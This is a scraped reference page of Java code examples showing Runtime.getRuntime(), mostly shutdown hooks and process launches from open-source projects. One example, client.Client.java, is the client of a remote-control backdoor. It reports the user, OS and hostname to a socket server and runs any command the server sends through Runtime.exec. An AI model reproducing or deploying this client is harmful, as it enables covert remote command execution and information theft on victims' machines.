Example usage for java.lang Runtime getRuntime

List of usage examples for java.lang Runtime getRuntime

Introduction

In this page you can find the example usage for java.lang Runtime getRuntime.

Prototype

public static Runtime getRuntime() 

Source Link

Document

Returns the runtime object associated with the current Java application.

Usage

From source file:net.brtly.monkeyboard.MonkeyBoard.java

public static void main(String[] args) {
    // configure logging

    BasicConfigurator.configure();/*from w  w w  .  j  av  a2s.com*/
    _prefs = new Configuration();
    initLogging();
    LOG.info("Monkey Board v0.1");

    Runtime.getRuntime().addShutdownHook(new Thread() {
        @Override
        public void run() {
            AndroidDebugBridge.terminate();
            LOG.debug("[finished]");
        }
    });
    createAndShowGui();
}

From source file:com.ideabase.repository.server.RepositoryServerMain.java

public static void main(String[] pArgs) throws InterruptedException {
    System.err.println("Starting Repository Server at " + new Date());
    setupApplicationLogger();//from w  w  w. ja va 2  s .  co m
    setupRequiredSystemProperties();
    final RepositoryServerMain repositoryServerMain = new RepositoryServerMain();
    if (repositoryServerMain.mRepositoryServer.start()) {
        Runtime.getRuntime().addShutdownHook(new Thread() {
            @Override
            public void run() {
                System.out.println("Stopping repository server.");
                repositoryServerMain.mRepositoryServer.stop();
                System.out.println("Stopping repository server stopped.");
            }
        });
        Thread.currentThread().join();
    }
}

From source file:cognition.pipeline.Main.java

/**
 * Entry point of Cognition-DNC//from  w w w  .j  a  v a 2 s  . co  m
 */
public static void main(String[] args) {
    if (requiresHelp(args)) {
        CommandHelper.printHelp();
        System.exit(0);
    }

    String path = "file:" + getCurrentFolder() + File.separator + "config" + File.separator
            + "applicationContext.xml";
    logger.info("Loading context from " + path);

    context = new ClassPathXmlApplicationContext(path);

    Options options = getOptions();
    CommandLineParser parser = new GnuParser();

    Runtime.getRuntime().addShutdownHook(getShutDownBehaviour());
    try {
        CommandLine cmd = parser.parse(options, args);
        processCommands(cmd);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

From source file:fr.jetoile.hadoopunit.HadoopStandaloneBootstrap.java

public static void main(String[] args) throws BootstrapException {
    try {/*  ww  w  .  j a  v  a  2 s .c o  m*/
        configuration = new PropertiesConfiguration("hadoop.properties");
    } catch (ConfigurationException e) {
        throw new BootstrapException("bad config", e);
    }

    HadoopBootstrap bootstrap = HadoopBootstrap.INSTANCE;

    bootstrap.componentsToStart = bootstrap.componentsToStart.stream()
            .filter(c -> configuration.containsKey(c.getName().toLowerCase())
                    && configuration.getBoolean(c.getName().toLowerCase()))
            .collect(Collectors.toList());

    bootstrap.componentsToStop = bootstrap.componentsToStop.stream()
            .filter(c -> configuration.containsKey(c.getName().toLowerCase())
                    && configuration.getBoolean(c.getName().toLowerCase()))
            .collect(Collectors.toList());

    Runtime.getRuntime().addShutdownHook(new Thread() {
        public void run() {
            LOGGER.info("All services are going to be stopped");
            bootstrap.stopAll();
        }
    });

    bootstrap.startAll();

}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *//*w w w  . j  av a  2  s  .c  o  m*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:hello.CrawlerApp.java

public static void main(String[] args) throws Exception {
    ApplicationContext ctx = SpringApplication.run(CrawlerApp.class, args);
    System.in.read();/*www  . ja va  2s.  c  o m*/
    Runtime.getRuntime().exit(SpringApplication.exit(ctx));
}

From source file:com.alibaba.otter.manager.deployer.OtterManagerLauncher.java

public static void main(String[] args) throws Throwable {
    try {//from  w ww.j  av  a 2 s  . c om
        String conf = System.getProperty("otter.conf", "classpath:otter.properties");
        Properties properties = new Properties();
        if (conf.startsWith(CLASSPATH_URL_PREFIX)) {
            conf = StringUtils.substringAfter(conf, CLASSPATH_URL_PREFIX);
            properties.load(OtterManagerLauncher.class.getClassLoader().getResourceAsStream(conf));
        } else {
            properties.load(new FileInputStream(conf));
        }

        // ??system?
        mergeProps(properties);

        logger.info("## start the manager server.");
        final JettyEmbedServer server = new JettyEmbedServer(
                properties.getProperty("otter.jetty", "jetty.xml"));
        server.start();
        logger.info("## the manager server is running now ......");
        Runtime.getRuntime().addShutdownHook(new Thread() {

            public void run() {
                try {
                    logger.info("## stop the manager server");
                    server.join();
                } catch (Throwable e) {
                    logger.warn("##something goes wrong when stopping manager Server:\n{}",
                            ExceptionUtils.getFullStackTrace(e));
                } finally {
                    logger.info("## manager server is down.");
                }
            }

        });
    } catch (Throwable e) {
        logger.error("## Something goes wrong when starting up the manager Server:\n{}",
                ExceptionUtils.getFullStackTrace(e));
        System.exit(0);
    }
}

From source file:com.clustercontrol.winsyslog.HinemosWinSyslogMain.java

public static void main(String[] args) {
    try {/*w w  w. java  2  s .c o  m*/
        log.info("receiver started.");

        // ??
        String etcDir = System.getProperty("hinemos.manager.etc.dir");
        String configFilePath = new File(etcDir, "syslog.conf").getAbsolutePath();
        WinSyslogConfig.init(configFilePath);

        // Sender?
        String targetValue = WinSyslogConfig.getProperty("syslog.send.targets");
        log.info("Sender initialise." + " (target=" + targetValue + ")");
        UdpSender.init(targetValue);

        // Receiver
        boolean tcpEnable = WinSyslogConfig.getBooleanProperty("syslog.receive.tcp");
        boolean udpEnable = WinSyslogConfig.getBooleanProperty("syslog.receive.udp");
        int port = WinSyslogConfig.getIntegerProperty("syslog.receive.port");
        log.info("Receiver starting." + " (tcpEnable=" + tcpEnable + ", udpEnable=" + udpEnable + ", port="
                + port + ")");

        receiver = new SyslogReceiver(tcpEnable, udpEnable, port);
        receiver.start();

        Runtime.getRuntime().addShutdownHook(new Thread() {
            @Override
            public void run() {
                synchronized (shutdownLock) {
                    receiver.shutdown();

                    shutdown = true;
                    shutdownLock.notify();
                }
            }
        });

        synchronized (shutdownLock) {
            while (!shutdown) {
                try {
                    shutdownLock.wait();
                } catch (InterruptedException e) {
                    log.warn("shutdown lock interrupted.", e);
                    try {
                        Thread.sleep(1000);
                    } catch (InterruptedException sleepE) {
                    }
                    ;
                }
            }
        }

        System.exit(0);
    } catch (Exception e) {
        log.error("unknown error.", e);
    }
}

From source file:ExecDemoSort2.java

public static void main(String[] av) {

    // A Runtime object has methods for dealing with the OS
    Runtime r = Runtime.getRuntime();

    // A process object tracks one external running process
    Process p;/*from  w  w w  .j a  v  a  2s .c o m*/

    try {
        // file contains unsorted data
        p = r.exec("sort sortdemo.txt");

        p.waitFor();
    } catch (java.io.IOException e) {
        System.err.println("I/O error: " + e);
    } catch (InterruptedException e) {
        // nothing to do
    }
}

From source file:fuse.okuyamafs.OkuyamaFuse.java

public static void main(String[] args) {

    String fuseArgs[] = new String[args.length - 1];
    System.arraycopy(args, 0, fuseArgs, 0, fuseArgs.length);

    ImdstDefine.valueCompresserLevel = 9;
    try {//from   w w w  . j  a  va  2  s  . c  om
        String okuyamaStr = args[args.length - 1];

        // Raid0?????????
        if (okuyamaStr.indexOf("#") != -1) {
            stripingDataBlock = true;
            okuyamaStr = okuyamaStr.substring(0, (okuyamaStr.length() - 1));
        }

        String[] masterNodeInfos = null;
        if (okuyamaStr.indexOf(",") != -1) {
            masterNodeInfos = okuyamaStr.split(",");
        } else {
            masterNodeInfos = (okuyamaStr + "," + okuyamaStr).split(",");
        }
        // 1=Memory
        // 2=okuyama
        // 3=LocalCacheOkuyama

        String[] optionParams = { "2", "true" };
        String fsystemMode = optionParams[0].trim();
        boolean singleFlg = new Boolean(optionParams[1].trim()).booleanValue();

        OkuyamaFilesystem.storageType = new Integer(fsystemMode).intValue();
        if (OkuyamaFilesystem.storageType == 1)
            OkuyamaFilesystem.blockSize = OkuyamaFilesystem.blockSize;

        CoreMapFactory.init(new Integer(fsystemMode.trim()).intValue(), masterNodeInfos, stripingDataBlock);
        FilesystemCheckDaemon loopDaemon = new FilesystemCheckDaemon(1, fuseArgs[fuseArgs.length - 1]);
        loopDaemon.start();

        if (OkuyamaFilesystem.storageType == 2) {
            FilesystemCheckDaemon bufferCheckDaemon = new FilesystemCheckDaemon(2, null);
            bufferCheckDaemon.start();
        }

        Runtime.getRuntime().addShutdownHook(new JVMShutdownSequence());
        FuseMount.mount(fuseArgs, new OkuyamaFilesystem(fsystemMode, singleFlg), log);
    } catch (Exception e) {
        e.printStackTrace();
    }
}